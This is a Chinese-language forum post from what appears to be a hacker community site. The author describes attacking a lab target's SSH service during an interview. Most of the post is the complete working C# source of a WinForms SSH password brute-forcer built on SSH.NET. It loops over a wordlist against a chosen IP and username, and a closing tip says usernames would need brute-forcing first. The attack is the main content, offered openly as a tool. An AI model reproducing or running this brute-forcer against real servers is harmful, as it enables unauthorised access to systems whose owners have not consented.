C# SSH暴力破解

3795 1
Spade_King 2022-9-18 11:23:57 | 显示全部楼层 |阅读模式

昨晚面试,搞了个靶场
ping 了一下发现是linux 系统
telnet 过去看了一下发现ssh  22端口是开的
然后就写了个工具放虚拟机试试能不能爆破密码,然后试试xshell远控,结果失败了
下面是代码,写的不好,主要是看看C#  ssh.net 使用
引用ssh,net:
![在这里插入图片描述](https://img-blog.csdnimg.cn/fa2d8917b1764502a2a6f49de8f5e2ae.png)
界面:
![在这里插入图片描述](https://img-blog.csdnimg.cn/018a6132cd014508ab4f6e470a776854.png)
代码:
using Renci.SshNet;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace ssh
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }



        private void button1_Click(object sender, EventArgs e)
        {
            string path = textBox4.Text;
            string ip =  textBox1.Text;
            string user = textBox2.Text;
            string password = textBox3.Text;
            StreamReader streamReader = new StreamReader(path, Encoding.Default);
            while ((password = streamReader.ReadLine()) != null)
            {
                try
                {
                    var sshclient = new SshClient(ip, user, password);
                    sshclient.Connect();
                    textBox3.Text = password;
                    MessageBox.Show("连接成功" + password);
                    Console.Write("连接成功" + password);
                    sshclient.Disconnect();
                }
                catch (Exception se)
                {
                    Console.Write(se.Message + ":" + password+"\n");
                    continue;
                }
            };
        }
    }
}
重要的是字典,这里只是在爆破密码,实际上不知道账号的情况下需要先爆破账号
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Spade_King

初级红客

关注
  • 6
    主题
  • 0
    粉丝
  • 1
    关注
想学就会

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行